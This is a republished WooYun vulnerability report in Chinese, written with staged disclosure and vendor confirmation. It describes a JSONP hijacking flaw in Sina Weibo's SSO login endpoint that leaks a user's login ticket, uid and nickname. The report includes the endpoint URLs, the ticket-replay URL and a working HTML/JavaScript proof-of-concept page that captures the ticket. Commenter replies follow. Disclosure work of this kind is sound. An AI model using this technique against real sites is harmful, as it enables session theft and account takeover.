新浪微博之点击我的链接就登录你的微博(JSONP劫持)

2017年4月27日20:43:54评论1,229 views字数 226阅读0分45秒阅读模式

摘要

2016-05-04：细节已通知厂商并且等待厂商处理中
2016-05-08：厂商已经确认，细节仅向厂商公开
2016-05-18：细节向核心白帽子及相关领域专家公开
2016-05-28：细节向普通白帽子公开
2016-06-07：细节向实习白帽子公开
2016-06-22：细节向公众公开

漏洞概要关注数(61) 关注此漏洞

缺陷编号： WooYun-2016-204941

漏洞标题：新浪微博之点击我的链接就登录你的微博(JSONP劫持)

漏洞作者： loopx9

提交时间： 2016-05-04 14:53

公开时间： 2016-06-22 17:00

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank： 10

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：敏感接口缺乏校验设计不当

9人收藏

漏洞详情

披露状态：

简要描述：

打卡。

详细说明：

生活处处有惊喜啊！逛逛wooyun都能捡到bug. 测试的时候没关burp，逛乌云的时候抓到一条url:

code 区域

http://login.sina.com.cn/sso/login.php?entry=wbwidget&service=miniblog&encoding=UTF-8&gateway=1&returntype=TEXT&from=&callback=sinaSSOController.autoLoginCallBack3&useticket=1&client=ssologin.js(v1.4.2)&_=1462341848253

当returntype=TEXT时，返回的是jsonp格式：

code 区域

sinaSSOController.autoLoginCallBack3({"retcode":"0","ticket":"ST-M****M3MQ==-1462342428-xd-D71E5*********D7EB3C15","uid":"31******1","nick":"xxx"});

将ticket，uid，昵称都返回来了。

有了ticket之后，利用与 WooYun: 新浪微博之点击我的链接就登录你的微博（XSS敏感域）一样。

替换url中的ticket然后访问就会设置认证cookie：

code 区域

http://passport.weibo.com/wbsso/login?url=http%3A%2F%2Fweibo.com%2F&ticket=ST-MzE****MQ==-1462341863-xd-7F3B3****8A311A14&retcode=0

漏洞证明：

code 区域

<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
 <html>
 <h4><center>weibo jsonp劫持演示</center></h4>
 <body>
 <script>
 var test = function(obj){
 alert('uid: ' + obj.uid);
 alert('nickname: ' + obj.nick);
 alert('ticket: ' + obj.ticket);
 }
 var s=document.createElement('script');
 s.src='http://login.sina.com.cn/sso/login.php?entry=sso&returntype=TEXT&url=http%3A%2F%2Fweibo.com%2F&gateway=1&savestate=999&callback=test&_rand='+Math.random();
 document.body.appendChild(s);
 </script>
 </body>
 </html>

登录状态访问：

code 区域

http://pysandbox.sinaapp.com/kv?act=get&k=weibo_jsonp

修复方案：

版权声明：转载请注明来源 loopx9@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-05-08 16:59

厂商回复：

感谢关注新浪安全，问题修复中。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-05-04 14:58 | 布 ( 普通白帽子 | Rank:105 漏洞数:37 | 凡人皆有一死)

0

6666

1# 回复此人
2016-05-04 15:30 | byr5ec ( 路人 | Rank:10 漏洞数:2 | I'm pursuing all teh time 5h37|_!)

0

JSONP劫持？应该是获取到了gsid。

2# 回复此人
2016-05-04 15:33 | f4ckbaidu ( 普通白帽子 | Rank:265 漏洞数:33 | 开发真是日了狗了)

0

6666

3# 回复此人
2016-05-04 15:37 | 呆子不开口 ( 普通白帽子 | Rank:408 漏洞数:36 | 求各种兼职)

0

这两天我在测试一个POC，不会被楼主抓走了吧

4# 回复此人
2016-05-04 16:17 | Brother ( 实习白帽子 | Rank:78 漏洞数:24 )

0

9哥.666

5# 回复此人
2016-05-04 17:07 | WenR0 ( 路人 | Rank:8 漏洞数:2 | ...)

0

关注

6# 回复此人
2016-05-04 17:42 | Freebug ( 普通白帽子 | Rank:110 漏洞数:39 | 流氓是一种高尚的职业！)

0

666

7# 回复此人

漏洞概要 关注数(61) 关注此漏洞

缺陷编号： WooYun-2016-204941

漏洞标题： 新浪微博之点击我的链接就登录你的微博(JSONP劫持)

相关厂商： 新浪微博

漏洞作者： loopx9

提交时间： 2016-05-04 14:53

公开时间： 2016-06-22 17:00

漏洞类型： 设计缺陷/逻辑错误

危害等级： 高

自评Rank： 10

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 敏感接口缺乏校验 设计不当

9人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 loopx9@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

漏洞评价(共0人评价): 登陆后才能进行评分

评价

发表评论

在线咨询

微信

漏洞概要关注数(61) 关注此漏洞

漏洞标题：新浪微博之点击我的链接就登录你的微博(JSONP劫持)

相关厂商：新浪微博

漏洞类型：设计缺陷/逻辑错误

危害等级：高

漏洞状态：厂商已经确认

Tags标签：敏感接口缺乏校验设计不当

漏洞评价(共0人评价):

登陆后才能进行评分